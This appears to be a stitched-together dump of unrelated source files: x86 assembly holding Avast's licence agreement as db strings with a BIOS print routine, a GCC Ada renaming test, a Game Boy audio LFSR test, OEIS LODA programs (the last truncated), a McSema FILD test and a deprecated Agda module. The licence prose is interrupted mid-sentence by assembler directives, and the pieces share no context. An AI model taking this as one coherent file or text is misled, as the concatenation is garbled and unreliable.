AVAST as long as and to the extent in which AVAST in its exclusive discretion makes such upgrades and updates available to the users of the free version of the Software.4. Ownership RightsThe Software and Documentation is the intellectual property of AVAST and is protected by applicable copyright laws, international treaty provisions and other applicable laws of the country in which the Software is being used. The structure, organization and code of the Software are valuable trade secrets and confidential information of AVAST. To the extent you provide any comments or suggestions about the Software to AVAST, AVAST shall have the right to retain and use any such comments or suggestions in our current or future products or services, without further compensation to you and without your approval of such retention or use.Except as stated in this Agreement, your possession, installation and use of the Software does not grant you any rights or title to any intellectual property rights in the Software or Documentation. All rights to the Software and Documentation, including all associated copyrights, patents, trade secret rights, trademarks and other intellectual property rights, are reserved by AVAST. 5. RestrictionsYou may not copy or use the Software or the Documentation except as set forth in Section 2 of this Agreement. You may not remove any proprietary notices or labels on the Software;" db " any copies that you are permitted to make pursuant to this Agreement must contain the same copyright and other proprietary notices that appear on and in the Software. You agree not to modify, adapt, translate, reverse engineer, decompile or disassemble the Software or otherwise attempt to discover the source code of the Software or algorithms contained therein or create any derivative works from the Software. You are not permitted to use the Software in connection with the provision of any commercial services which include" db " processing or transferring the data of or for other persons or entities (“Data”), including cloud computing and “Software as a Service” solutions, providing storage capacities for Data; transmitting, routing of or providing connection to Data, or providing information search tool services. You may not permit third parties to benefit from the use or functionality of the Software via a timesharing, service bureau or other similar arrangement.6. TransferYou may not rent, lease, sub-license, or lend the Software or the Documentation or any portions thereof. You may, however, transfer all your rights to use the Software and the Documentation to another person provided that (i) the transferee accepts the terms of this Agreement; (ii) you transfer the Software, including all copies, updates and prior versions, and all Documentation to such person; and (iii) you retain no copies of the Software or of the Documentation, including but not limited to copies stored on your computer. Partial transfer of your rights under this Agreement is strictly prohibited. 7. Disclaimers and Exclusion of LiabilityBe aware that the Software may make changes to your computer " db "that may adversely affect its functionality, such as deleting system or application files identified (correctly or incorrectly) by the Software as infected. You acknowledge and agree to such changes to your computer that may occur as a result of your use of the Software. The Software is not fault-tolerant and as such is not designed for use in hazardous environments requiring fail-safe performance.AVAST AND ITS DISTRIBUTORS DO NOT AND CANNOT WARRANT THE PERFORMANCE OR RESULTS YOU MAY OBTAIN BY USING THE SOFTWARE OR DOCUMENTATION. THE REMEDY IN THIS SECTION STATES THE SOLE AND EXCLUSIVE REMEDIES FOR AVAST'S OR ITS DISTRIBUTORS’ OR AGENTS’ BREACH OF WARRANTY. THE SOFTWARE IS PROVIDED “AS IS” AND AVAST AND ITS DISTRIBUTORS MAKE NO EXPRESS OR IMPLIED WARRANTIES OR CONDITIONS AND, TO THE MAXIMUM EXTENT PERMITTED BY LAW, DISCLAIM ANY AND ALL CONDITIONS AND WARRANTIES IMPLIED BY STATUTE, COMMON LAW OR JURISPRUDENCE, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF NONINFRINGEMENT OF THIRD PARTY RIGHTS, MERCHANTABILITY, SUITABLE QUALITY OR FITNESS FOR ANY PARTICULAR PURPOSE.YOU AGREE AND ACCEPT THAT, TO THE FULL EXTENT PERMITTED BY LAW, IN NO EVENT WILL AVAST OR ITS DISTRIBUTORS OR AGENTS BE LIABLE TO YOU FOR ANY DAMAGES, ESPECIALLY FOR CONSEQUENTIAL, INCIDENTAL OR SPECIAL DAMAGES, INCLUDING ANY LOST PROFITS, LOST SAVINGS OR LOST DATA, EVEN IF AVAST OR ITS DISTRIBUTOR OR AGENT HAS BEEN ADVISED OF THE POSSIBILITY OF " db "SUCH DAMAGES, OR FOR ANY CLAIM BY ANY THIRD PARTY. TO THE FULL EXTENT PERMITTED BY LAW, YOU AGREE AND ACCEPT THAT IN NO CASE SHALL AVAST’S OR ITS DISTRIBUTORS’ " db "OR AGENTS LIABILITY FOR ANY DAMAGE EXCEED THE LESSER OF FIVE U.S. DOLLARS ($5.00) OR THE AMOUNT OF THE ONE YEAR" db " LICENSE FEE FOR AVAST’S COMMERCIAL PRODUCT CLOSEST TO YOUR FREE VERSION OF THE SOFTWARE." db "THE FOREGOING EXCLUSIONS AND LIMITATIONS OF LIABILITY OF AVAST AND ITS DISTRIBUTORS DO NOT LIMIT POTENTIAL LIABILITY FOR DEATH, PERSONAL INJURY OR FRAUD OVER THE EXTENT PERMITTED BY APPLICABLE LAWS.8. Privacy; Processing of Personal InformationThe Software automatically and from time to time may collect certain information, which may include personally identifiable information, from the computer on which it is installed, including:8.1 URLs of visited websites that the Software identifies as potentially infected, together with the information on the nature of identified threats (e.g. viruses, Trojans, tracking cookies and any other forms of malware) and URLs of several sites visited before the infection was identified to ascertain the source of the infection;8.2 Information and files (including executable files) on your computer identified by the Software as potentially infected, together with the information about the nature of identified threats;8.3 Information about the sender and subject of emails identified by the Software as potentially infected, together with the information on the nature of identified threats;8.4 Information contained in emails reported by you as spam or as incorrectly identified as spam by the Software;8.5 Copies of the files identified by the Software as potentially infected or parts thereof may be automatically sent to AVAST for further examination and analysis;8.6 Certain information" db " about your computer hardware, software and/or network connection;8.7 Certain information about the installation and operation of the Software and encountered errors or problems;8.8 Statistical information about threats detected by the Software; an8.9 If your version of the Software includes the Website reputation function, which provides information on reputation of web sites as potential sources of malware, and you set the Website reputation function to active," db " the Software may send AVAST the URLs of all websites you want to visit and the results of your web searches through search engines." db " The information collected by the Software is generally not correlated with any other personal information related to you that AVAST may be processing such as information given by you to AVAST or its distributors or agents during the process of ordering and downloading the Software. Unless you have permitted otherwise, the information collected by the Software is used anonymously in aggregation with similar information from other users of the Software for analytical purposes to identify new viruses and threats and for improvement and development of the Software and for statistical purposes.By using the Software you acknowledge and agree that AVAST or its distributors or agents may collect and use the information as described above. You are giving this consent on behalf of all users of all computers where the Software will be used under this license and you accept full responsibility for informing all users and acquiring their fully informed, free and valid consent with processing of their personal information by the Software as described above.Notwithstanding anything to the contrary in the AVAST privacy policy, you consent during the term of this Agreement and for one (1) year thereafter to (i) AVAST sharing information collected by you during your installation or registration of the Software with AVAST’s distributors and other business partners and (ii) use of such information by AVAST, its distributors and other business partners to present you with information that may be relevant to you, including offers of software, services or other products. The collected information may be transferred to third parties or to other countries that may have less protective data protection laws than the country or region in which you are situated (including the European Union). AVAST takes measures to ensure that any collected information will receive an adequate level of protection if and when transferred. Notwithstanding anything to the contrary in" db " this Agreement or any Documentation or other materials provided to you in connection with the Software, AVAST reserves all rights to cooperate with any legal process or government inquiry (including, but not limited to, court orders and law enforcement requests) related to your use of the Software. In connection with such cooperation, AVAST may provide documents and information relevant to a court subpoena or government or other legal investigation, which may include disclosure of your personally identifiable information. AVAST may also use statistics derived from the collected information to track and publish reports on security risk trends. By using the Software, you acknowledge and agree that AVAST may collect, transmit, store, disclose and analyze such information for any of the foregoing purposes listed in this Section.9. U.S. Government Restricted RightsThis Software and Documentation are deemed to be “commercial computer software” and “commercial computer software documentation”, respectively, and subject to certain restricted rights as identified in FAR Section 52.227-19 Commercial Computer Software - Restricted Rights and DFARS 227.7202, “Rights in Commercial Computer Software or Commercial Computer Software Documentation”, as applicable, or any successor U.S. regulations. Any use, modification, reproduction, release, performance, display or disclosure of the Software by the U.S. Government shall be done solely in accordance with this Agreement. 10. Export RegulationsYou agree and accept that the Software and the Documentation may be subject to import and export laws of any country, including those of the United States (specifically the Export Administration Regulations (EAR)) and the European Union. If you transfer or export the Software, which in all cases must be done in accordance with this Agreement, you agree to and acknowledge that you are exclusively responsible for complying with all applicable laws and regulations, including but not limited to all United States and European Union trade sanctions and export regulations" db " (including any activities relating to nuclear, chemical or biological materials or weapons, missiles or technology capable of mass destruction), regardless of " db "the country in which you reside in or of which you are a citizen. 11. Governing Law and JurisdictionThe laws of the State of California, excluding its conflicts of law rules, govern this Agreement and your use of the Software and the Documentation. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. The courts located within the county of Santa Clara, California shall be the exclusive jurisdiction and venue for any dispute or legal matter arising out of or in connection with this Agreement or your use of the Software and the Documentation. Notwithstanding this, you agree that AVAST shall still be allowed to apply for injunctive remedies (or an equivalent type of urgent legal relief) in any jurisdiction.12. GeneralThis Agreement is the entire agreement between you and AVAST relating to the Software and Documentation. This Agreement supersedes all prior or contemporaneous oral or written communications, proposals, and representations with respect to the Software or Documentation. Notwithstanding the foregoing, nothing in this Agreement will diminish any rights you may have under existing consumer protection legislation or other applicable laws in your jurisdiction that may not be waived by contract. This Agreement will immediately terminate upon your breach of any obligation contained herein (especially your obligations in Sections 2, 5, 10) and you shall cease use and destroy all copies of the Software and Documentation in your possession. AVAST reserves the right to any other remedies available under law in the event your breach of this Agreement adversely affects AVAST or its distributors or agents. The limitations of liability and disclaimers of warranty and damages contained herein shall survive termination of this Agreement. This Agreement may be modified by the Documentation. No provision hereof shall be deemed" db " waived unless such waiver shall be in writing and signed by AVAST. If any provision of this Agreement is held invalid, the remainder of this Agreement shall continue in full force and effect.If you have any questions regarding this Agreement or wish to request any information from AVAST, please write to AVAST Software, Budejovicka 1518/13A, 140 00 Praha 4, Czech Republic, e-mail: <EMAIL>, tel.: +420 274 005 777 or visit our support page at www.avast.com/support." db 0 Print: pusha mov ah,0xE .lp: lodsb cmp al,0 je .done int 0x10 jmp .lp .done: popa ret
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c85005a.ada
best08618/asylo
7
14911
-- C85005A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT A VARIABLE CREATED BY AN OBJECT DECLARATION CAN BE -- RENAMED AND HAS THE CORRECT VALUE, AND THAT THE NEW NAME CAN -- BE USED IN AN ASSIGNMENT STATEMENT AND PASSED ON AS AN ACTUAL -- SUBPROGRAM OR ENTRY 'IN OUT' OR 'OUT' PARAMETER, AND AS AN -- ACTUAL GENERIC 'IN OUT' PARAMETER, AND THAT WHEN THE VALUE OF -- THE RENAMED VARIABLE IS CHANGED, THE NEW VALUE IS REFLECTED -- BY THE VALUE OF THE NEW NAME. -- HISTORY: -- JET 03/15/88 CREATED ORIGINAL TEST. WITH REPORT; USE REPORT; PROCEDURE C85005A IS TYPE ARRAY1 IS ARRAY (POSITIVE RANGE <>) OF INTEGER; TYPE RECORD1 (D : INTEGER) IS RECORD FIELD1 : INTEGER := 1; END RECORD; TYPE POINTER1 IS ACCESS INTEGER; PACKAGE PACK1 IS K1 : INTEGER := 0; TYPE PRIVY IS PRIVATE; ZERO : CONSTANT PRIVY; ONE : CONSTANT PRIVY; TWO : CONSTANT PRIVY; THREE : CONSTANT PRIVY; FOUR : CONSTANT PRIVY; FIVE : CONSTANT PRIVY; FUNCTION IDENT (I : PRIVY) RETURN PRIVY; FUNCTION NEXT (I : PRIVY) RETURN PRIVY; PRIVATE TYPE PRIVY IS RANGE 0..127; ZERO : CONSTANT PRIVY := 0; ONE : CONSTANT PRIVY := 1; TWO : CONSTANT PRIVY := 2; THREE : CONSTANT PRIVY := 3; FOUR : CONSTANT PRIVY := 4; FIVE : CONSTANT PRIVY := 5; END PACK1; TASK TYPE TASK1 IS ENTRY ASSIGN (J : IN INTEGER); ENTRY VALU (J : OUT INTEGER); ENTRY NEXT; ENTRY STOP; END TASK1; TASK TYPE TASK2 IS ENTRY ENTRY1 (TI1 : OUT INTEGER; TA1 : OUT ARRAY1; TR1 : OUT RECORD1; TP1 : IN OUT POINTER1; TV1 : IN OUT PACK1.PRIVY; TT1 : IN OUT TASK1; TK1 : IN OUT INTEGER); END TASK2; I1 : INTEGER := 0; A1 : ARRAY1(1..3) := (OTHERS => 0); R1 : RECORD1(1) := (D => 1, FIELD1 => 0); P1 : POINTER1 := NEW INTEGER'(0); V1 : PACK1.PRIVY := PACK1.ZERO; T1 : TASK1; XI1 : INTEGER RENAMES I1; XA1 : ARRAY1 RENAMES A1; XR1 : RECORD1 RENAMES R1; XP1 : POINTER1 RENAMES P1; XV1 : PACK1.PRIVY RENAMES V1; XT1 : TASK1 RENAMES T1; XK1 : INTEGER RENAMES PACK1.K1; I : INTEGER; CHK_TASK : TASK2; GENERIC GI1 : IN OUT INTEGER; GA1 : IN OUT ARRAY1; GR1 : IN OUT RECORD1; GP1 : IN OUT POINTER1; GV1 : IN OUT PACK1.PRIVY; GT1 : IN OUT TASK1; GK1 : IN OUT INTEGER; PACKAGE GENERIC1 IS END GENERIC1; FUNCTION IDENT (P : POINTER1) RETURN POINTER1 IS BEGIN IF EQUAL (3,3) THEN RETURN P; ELSE RETURN NULL; END IF; END IDENT; PROCEDURE PROC1 (PI1 : IN OUT INTEGER; PA1 : IN OUT ARRAY1; PR1 : IN OUT RECORD1; PP1 : OUT POINTER1; PV1 : OUT PACK1.PRIVY; PT1 : IN OUT TASK1; PK1 : OUT INTEGER) IS BEGIN PI1 := PI1 + 1; PA1 := (PA1(1)+1, PA1(2)+1, PA1(3)+1); PR1 := (D => 1, FIELD1 => PR1.FIELD1 + 1); PP1 := NEW INTEGER'(P1.ALL + 1); PV1 := PACK1.NEXT(V1); PT1.NEXT; PK1 := PACK1.K1 + 1; END PROC1; PACKAGE BODY PACK1 IS FUNCTION IDENT (I : PRIVY) RETURN PRIVY IS BEGIN IF EQUAL(3,3) THEN RETURN I; ELSE RETURN PRIVY'(0); END IF; END IDENT; FUNCTION NEXT (I : PRIVY) RETURN PRIVY IS BEGIN RETURN I+1; END NEXT; END PACK1; PACKAGE BODY GENERIC1 IS BEGIN GI1 := GI1 + 1; GA1 := (GA1(1)+1, GA1(2)+1, GA1(3)+1); GR1 := (D => 1, FIELD1 => GR1.FIELD1+1); GP1 := NEW INTEGER'(GP1.ALL + 1); GV1 := PACK1.NEXT(GV1); GT1.NEXT; GK1 := GK1 + 1; END GENERIC1; TASK BODY TASK1 IS TASK_VALUE : INTEGER := 0; ACCEPTING_ENTRIES : BOOLEAN := TRUE; BEGIN WHILE ACCEPTING_ENTRIES LOOP SELECT ACCEPT ASSIGN (J : IN INTEGER) DO TASK_VALUE := J; END ASSIGN; OR ACCEPT VALU (J : OUT INTEGER) DO J := TASK_VALUE; END VALU; OR ACCEPT NEXT DO TASK_VALUE := TASK_VALUE + 1; END NEXT; OR ACCEPT STOP DO ACCEPTING_ENTRIES := FALSE; END STOP; END SELECT; END LOOP; END TASK1; TASK BODY TASK2 IS BEGIN ACCEPT ENTRY1 (TI1 : OUT INTEGER; TA1 : OUT ARRAY1; TR1 : OUT RECORD1; TP1 : IN OUT POINTER1; TV1 : IN OUT PACK1.PRIVY; TT1 : IN OUT TASK1; TK1 : IN OUT INTEGER) DO TI1 := I1 + 1; TA1 := (A1(1)+1, A1(2)+1, A1(3)+1); TR1 := (D => 1, FIELD1 => R1.FIELD1 + 1); TP1 := NEW INTEGER'(TP1.ALL + 1); TV1 := PACK1.NEXT(TV1); TT1.NEXT; TK1 := TK1 + 1; END ENTRY1; END TASK2; BEGIN TEST ("C85005A", "CHECK THAT A VARIABLE CREATED BY AN OBJECT " & "DECLARATION CAN BE RENAMED AND HAS THE " & "CORRECT VALUE, AND THAT THE NEW NAME CAN " & "BE USED IN AN ASSIGNMENT STATEMENT " & "AND PASSED ON AS AN ACTUAL SUBPROGRAM OR " & "ENTRY 'IN OUT' OR 'OUT' PARAMETER, AND AS AN " & "ACTUAL GENERIC 'IN OUT' PARAMETER, AND THAT " & "WHEN THE VALUE OF THE RENAMED VARIABLE IS " & "CHANGED, THE NEW VALUE IS REFLECTED BY THE " & "VALUE OF THE NEW NAME"); DECLARE PACKAGE GENPACK1 IS NEW GENERIC1 (XI1, XA1, XR1, XP1, XV1, XT1, XK1); BEGIN NULL; END; IF XI1 /= IDENT_INT(1) THEN FAILED ("INCORRECT VALUE OF XI1 (1)"); END IF; IF XA1 /= (IDENT_INT(1),IDENT_INT(1),IDENT_INT(1)) THEN FAILED ("INCORRECT VALUE OF XA1 (1)"); END IF; IF XR1 /= (D => 1, FIELD1 => IDENT_INT(1)) THEN FAILED ("INCORRECT VALUE OF XR1 (1)"); END IF; IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(1) THEN FAILED ("INCORRECT VALUE OF XP1 (1)"); END IF; IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.ONE)) THEN FAILED ("INCORRECT VALUE OF XV1 (1)"); END IF; XT1.VALU(I); IF I /= IDENT_INT(1) THEN FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (1)"); END IF; IF XK1 /= IDENT_INT(1) THEN FAILED ("INCORRECT VALUE OF XK1 (1)"); END IF; PROC1(XI1, XA1, XR1, XP1, XV1, XT1, XK1); IF XI1 /= IDENT_INT(2) THEN FAILED ("INCORRECT VALUE OF XI1 (2)"); END IF; IF XA1 /= (IDENT_INT(2),IDENT_INT(2),IDENT_INT(2)) THEN FAILED ("INCORRECT VALUE OF XA1 (2)"); END IF; IF XR1 /= (D => 1, FIELD1 => IDENT_INT(2)) THEN FAILED ("INCORRECT VALUE OF XR1 (2)"); END IF; IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(2) THEN FAILED ("INCORRECT VALUE OF XP1 (2)"); END IF; IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.TWO)) THEN FAILED ("INCORRECT VALUE OF XV1 (2)"); END IF; XT1.VALU(I); IF I /= IDENT_INT(2) THEN FAILED ("INCORRECT RETURN VALUE FROM XT1.VALU (2)"); END IF; IF XK1 /= IDENT_INT(2) THEN FAILED ("INCORRECT VALUE OF XK1 (2)"); END IF; CHK_TASK.ENTRY1(XI1, XA1, XR1, XP1, XV1, XT1, XK1); IF XI1 /= IDENT_INT(3) THEN FAILED ("INCORRECT VALUE OF XI1 (3)"); END IF; IF XA1 /= (IDENT_INT(3),IDENT_INT(3),IDENT_INT(3)) THEN FAILED ("INCORRECT VALUE OF XA1 (3)"); END IF; IF XR1 /= (D => 1, FIELD1 => IDENT_INT(3)) THEN FAILED ("INCORRECT VALUE OF XR1 (3)"); END IF; IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(3) THEN FAILED ("INCORRECT VALUE OF XP1 (3)"); END IF; IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.THREE)) THEN FAILED ("INCORRECT VALUE OF XV1 (3)"); END IF; XT1.VALU(I); IF I /= IDENT_INT(3) THEN FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (3)"); END IF; IF XK1 /= IDENT_INT(3) THEN FAILED ("INCORRECT VALUE OF XK1 (3)"); END IF; XI1 := XI1 + 1; XA1 := (XA1(1)+1, XA1(2)+1, XA1(3)+1); XR1 := (D => 1, FIELD1 => XR1.FIELD1 + 1); XP1 := NEW INTEGER'(XP1.ALL + 1); XV1 := PACK1.NEXT(XV1); XT1.NEXT; XK1 := XK1 + 1; IF XI1 /= IDENT_INT(4) THEN FAILED ("INCORRECT VALUE OF XI1 (4)"); END IF; IF XA1 /= (IDENT_INT(4),IDENT_INT(4),IDENT_INT(4)) THEN FAILED ("INCORRECT VALUE OF XA1 (4)"); END IF; IF XR1 /= (D => 1, FIELD1 => IDENT_INT(4)) THEN FAILED ("INCORRECT VALUE OF XR1 (4)"); END IF; IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(4) THEN FAILED ("INCORRECT VALUE OF XP1 (4)"); END IF; IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.FOUR)) THEN FAILED ("INCORRECT VALUE OF XV1 (4)"); END IF; XT1.VALU(I); IF I /= IDENT_INT(4) THEN FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (4)"); END IF; IF XK1 /= IDENT_INT(4) THEN FAILED ("INCORRECT VALUE OF XK1 (4)"); END IF; I1 := I1 + 1; A1 := (A1(1)+1, A1(2)+1, A1(3)+1); R1 := (D => 1, FIELD1 => R1.FIELD1 + 1); P1 := NEW INTEGER'(P1.ALL + 1); V1 := PACK1.NEXT(V1); T1.NEXT; PACK1.K1 := PACK1.K1 + 1; IF XI1 /= IDENT_INT(5) THEN FAILED ("INCORRECT VALUE OF XI1 (5)"); END IF; IF XA1 /= (IDENT_INT(5),IDENT_INT(5),IDENT_INT(5)) THEN FAILED ("INCORRECT VALUE OF XA1 (5)"); END IF; IF XR1 /= (D => 1, FIELD1 => IDENT_INT(5)) THEN FAILED ("INCORRECT VALUE OF XR1 (5)"); END IF; IF XP1 /= IDENT(P1) OR XP1.ALL /= IDENT_INT(5) THEN FAILED ("INCORRECT VALUE OF XP1 (5)"); END IF; IF PACK1."/=" (XV1, PACK1.IDENT(PACK1.FIVE)) THEN FAILED ("INCORRECT VALUE OF XV1 (5)"); END IF; XT1.VALU(I); IF I /= IDENT_INT(5) THEN FAILED ("INCORRECT RETURN VALUE OF XT1.VALU (5)"); END IF; IF XK1 /= IDENT_INT(5) THEN FAILED ("INCORRECT VALUE OF XK1 (5)"); END IF; T1.STOP; RESULT; END C85005A;
apu/channel_4/channel_4_lfsr15.asm
endrift/SameSuite
21
1054
<reponame>endrift/SameSuite RESULTS_START EQU $c006 RESULTS_N_ROWS EQU 16 include "base.inc" ; This test verifies the LFSR algorithm used is correct, ; this time using 15-bit LFSR. ; For convinence, it proccesses the results into ; reconsructed LFSR values. CorrectResults: db $00, $00, $00, $80, $C0, $E0, $F0, $F8 db $FC, $FE, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $7F, $BF, $DF, $EF, $F7, $FB, $FD db $FE, $FF, $FF, $FF, $FF, $FF, $FF, $7F db $3F, $9F, $CF, $E7, $F3, $F9, $FC, $FE db $FF, $FF, $FF, $FF, $FF, $7F, $BF, $5F db $AF, $D7, $EB, $F5, $FA, $FD, $FE, $FF db $FF, $FF, $FF, $7F, $3F, $1F, $0F, $87 db $C3, $E1, $F0, $F8, $FC, $FE, $FF, $FF db $FF, $7F, $BF, $DF, $EF, $77, $BB, $DD db $EE, $F7, $FB, $FD, $FE, $FF, $FF, $7F db $3F, $9F, $CF, $67, $33, $99, $CC, $E6 db $F3, $F9, $FC, $FE, $FF, $7F, $BF, $5F db $AF, $57, $AB, $55, $AA, $D5, $EA, $F5 db $FA, $FD, $FE, $7F, $3F, $1F, $0F, $07 db $03, $01, $00, $80, $C0, $E0, $F0, $F8 SubTest: MACRO xor a ldh [rNR52], a cpl ldh [rNR52], a ld hl, rPCM34 ld a, $F0 ldh [rNR42], a xor a ldh [rNR43], a ld a, $80 ldh [rNR44], a nops \1 ld a, [hl] call StoreResult ENDM RunTest: ld de, $c000 xor a ld [de], a ; Frequency is 512KHz, each sample is 2 cycles long SubTest $00d SubTest $00f SubTest $011 SubTest $013 SubTest $015 SubTest $017 SubTest $019 SubTest $01b SubTest $01d SubTest $01f SubTest $021 SubTest $023 SubTest $025 SubTest $027 SubTest $029 SubTest $02b SubTest $02d SubTest $02f SubTest $031 SubTest $033 SubTest $035 SubTest $037 SubTest $039 SubTest $03b SubTest $03d SubTest $03f SubTest $041 SubTest $043 SubTest $045 SubTest $047 SubTest $049 SubTest $04b SubTest $04d SubTest $04f SubTest $051 SubTest $053 SubTest $055 SubTest $057 SubTest $059 SubTest $05b SubTest $05d SubTest $05f SubTest $061 SubTest $063 SubTest $065 SubTest $067 SubTest $069 SubTest $06b SubTest $06d SubTest $06f SubTest $071 SubTest $073 SubTest $075 SubTest $077 SubTest $079 SubTest $07b SubTest $07d SubTest $07f SubTest $081 SubTest $083 SubTest $085 SubTest $087 SubTest $089 SubTest $08b SubTest $08d SubTest $08f SubTest $091 SubTest $093 SubTest $095 SubTest $097 SubTest $099 SubTest $09b SubTest $09d SubTest $09f SubTest $0a1 SubTest $0a3 SubTest $0a5 SubTest $0a7 SubTest $0a9 SubTest $0ab SubTest $0ad SubTest $0af SubTest $0b1 SubTest $0b3 SubTest $0b5 SubTest $0b7 SubTest $0b9 SubTest $0bb SubTest $0bd SubTest $0bf SubTest $0c1 SubTest $0c3 SubTest $0c5 SubTest $0c7 SubTest $0c9 SubTest $0cb SubTest $0cd SubTest $0cf SubTest $0d1 SubTest $0d3 SubTest $0d5 SubTest $0d7 SubTest $0d9 SubTest $0db SubTest $0dd SubTest $0df SubTest $0e1 SubTest $0e3 SubTest $0e5 SubTest $0e7 SubTest $0e9 SubTest $0eb SubTest $0ed SubTest $0ef SubTest $0f1 SubTest $0f3 SubTest $0f5 SubTest $0f7 SubTest $0f9 SubTest $0fb SubTest $0fd SubTest $0ff SubTest $101 SubTest $103 SubTest $105 SubTest $107 SubTest $109 SubTest $10b SubTest $10d SubTest $10f SubTest $111 SubTest $113 SubTest $115 SubTest $117 SubTest $119 SubTest $11b ret StoreResult:: and $80 ld b, a ld a, [de] srl a or b inc de ld [de], a ret CGB_MODE
programs/oeis/038/A038390.asm
karttu/loda
0
166889
<gh_stars>0 ; A038390: Bisection of A028289. ; 1,2,5,11,17,27,42,57,78,106,134,170,215,260,315,381,447,525,616,707,812,932,1052,1188,1341,1494,1665,1855,2045,2255,2486,2717,2970,3246,3522,3822,4147,4472,4823,5201,5579,5985,6420,6855,7320,7816,8312,8840,9401,9962,10557,11187,11817,12483,13186,13889,14630,15410,16190,17010,17871,18732,19635,20581,21527,22517,23552,24587,25668,26796,27924,29100,30325,31550,32825,34151,35477,36855,38286,39717,41202,42742,44282,45878,47531,49184,50895,52665,54435,56265,58156,60047,62000,64016,66032,68112,70257,72402,74613,76891,79169,81515,83930,86345,88830,91386,93942,96570,99271,101972,104747,107597,110447,113373,116376,119379,122460,125620,128780,132020,135341,138662,142065,145551,149037,152607,156262,159917,163658,167486,171314,175230,179235,183240,187335,191521,195707,199985,204356,208727,213192,217752,222312,226968,231721,236474,241325,246275,251225,256275,261426,266577,271830,277186,282542,288002,293567,299132,304803,310581,316359,322245,328240,334235,340340,346556,352772,359100,365541,371982,378537,385207,391877,398663,405566,412469,419490,426630,433770,441030,448411,455792,463295,470921,478547,486297,494172,502047,510048,518176,526304,534560,542945,551330,559845,568491,577137,585915,594826,603737,612782,621962,631142,640458,649911,659364,668955,678685,688415,698285,708296,718307,728460,738756,749052,759492,770077,780662,791393,802271,813149,824175,835350,846525,857850,869326,880802,892430,904211,915992,927927,940017,952107,964353,976756,989159,1001720,1014440,1027160,1040040,1053081,1066122,1079325,1092691,1106057,1119587,1133282,1146977,1160838,1174866 mov $16,$0 mov $18,$0 add $18,1 lpb $18,1 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 add $15,1 lpb $15,1 mov $0,$13 sub $15,1 sub $0,$15 mov $9,$0 mov $11,2 lpb $11,1 mov $0,$9 sub $11,1 add $0,$11 add $0,2 mov $6,49 mov $8,$0 mul $8,2 div $8,3 bin $8,2 mul $6,$8 mov $1,$6 mov $12,$11 lpb $12,1 mov $10,$1 sub $12,1 lpe lpe lpb $9,1 mov $9,0 sub $10,$1 lpe mov $1,$10 div $1,49 add $14,$1 lpe add $17,$14 lpe mov $1,$17
mc-sema/validator/x86/tests/FILD_32m.asm
randolphwong/mcsema
2
103417
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ;TEST_BEGIN_RECORDING lea edi, [esp-0x08] mov dword [edi], 0x1 FILD dword [edi] mov edi, 0 ;TEST_END_RECORDING
agda-stdlib/src/Data/Product/N-ary/Properties.agda
DreamLinuxer/popl21-artifact
5
11332
<reponame>DreamLinuxer/popl21-artifact<filename>agda-stdlib/src/Data/Product/N-ary/Properties.agda ------------------------------------------------------------------------ -- The Agda standard library -- -- This module is DEPRECATED. Please use Data.Vec.Recursive.Properties -- instead. ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.Product.N-ary.Properties where {-# WARNING_ON_IMPORT "Data.Product.N-ary.Properties was deprecated in v1.1. Use Data.Vec.Recursive.Properties instead." #-} open import Data.Vec.Recursive.Properties public
programs/oeis/333/A333183.asm
karttu/loda
0
83851
; A333183: Number of digits in concatenation of first n positive even integers. ; 1,2,3,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,97,100,103,106,109,112,115,118,121,124,127,130,133,136,139,142,145,148,151,154,157,160,163,166,169,172,175,178,181,184,187,190,193,196,199,202,205,208,211,214,217,220,223,226,229,232,235,238,241,244,247,250,253,256,259,262,265,268,271,274,277,280,283,286,289,292,295,298,301,304,307,310,313,316,319,322,325,328,331,334,337,340,343,346,349,352,355,358,361,364,367,370,373,376,379,382,385,388,391,394,397,400,403,406,409,412,415,418,421,424,427,430,433,436,439,442,445,448,451,454,457,460,463,466,469,472,475,478,481,484,487,490,493,496,499,502,505,508,511,514,517,520,523,526,529,532,535,538,541,544,547,550,553,556,559,562,565,568,571,574,577,580,583,586,589,592,595,598,601,604,607,610,613,616,619,622,625,628,631,634,637,640,643,646,649,652,655,658,661,664,667,670,673,676,679,682,685,688,691,694,697 mov $4,$0 add $4,1 mov $7,$0 lpb $4,1 